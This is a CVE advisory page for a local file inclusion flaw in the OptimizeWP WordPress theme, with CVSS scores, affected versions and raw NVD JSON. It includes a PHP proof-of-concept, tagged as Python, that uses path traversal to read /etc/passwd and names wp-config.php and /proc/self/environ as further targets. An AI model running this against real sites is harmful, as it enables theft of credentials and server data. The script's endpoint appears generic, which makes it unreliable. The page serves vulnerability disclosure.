Security Vulnerability Report
中文
CVE-2025-67935 CVSS 8.1 HIGH

CVE-2025-67935

Published: 2026-01-08 10:15:53
Last Modified: 2026-02-03 19:16:15

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Optimize optimizewp allows PHP Local File Inclusion.This issue affects Optimize: from n/a through < 2.4.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:qodeinteractive:optimize:*:*:*:*:*:wordpress:*:* - VULNERABLE
OptimizeWP < 2.4
Optimize: from n/a through < 2.4

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<?php /** * CVE-2025-67935 PoC - OptimizeWP Local File Inclusion * Target: WordPress OptimizeWP Theme < 2.4 * Author: Security Researcher * Usage: Modify TARGET_URL and FILE_PATH as needed */ $target_url = 'http://target-wordpress-site.com'; $file_path = '../../../../../../../etc/passwd'; // Construct malicious request $exploit_url = $target_url . '/wp-content/themes/optimizewp/?file=' . urlencode($file_path); echo "[*] CVE-2025-67935 Local File Inclusion PoC\n"; echo "[*] Target: " . $target_url . "\n"; echo "[*] Attempting to read: " . $file_path . "\n\n"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $exploit_url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_TIMEOUT, 30); $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); if ($http_code == 200 && !empty($response)) { echo "[+] Success! File contents:\n"; echo "---\n"; echo $response; echo "---\n"; } else { echo "[-] Exploitation failed or file not accessible\n"; echo "[*] Try alternative paths: wp-config.php, .htaccess, /proc/self/environ\n"; } ?>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-67935", "sourceIdentifier": "[email protected]", "published": "2026-01-08T10:15:52.670", "lastModified": "2026-02-03T19:16:14.613", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Mikado-Themes Optimize optimizewp allows PHP Local File Inclusion.This issue affects Optimize: from n/a through < 2.4."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-98"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:qodeinteractive:optimize:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "2.4", "matchCriteriaId": "E002E7D8-4869-459B-AB04-8F27E7D70BD4"}]}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Theme/optimizewp/vulnerability/wordpress-optimize-theme-2-4-local-file-inclusion-vulnerability?_s_id=cve", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}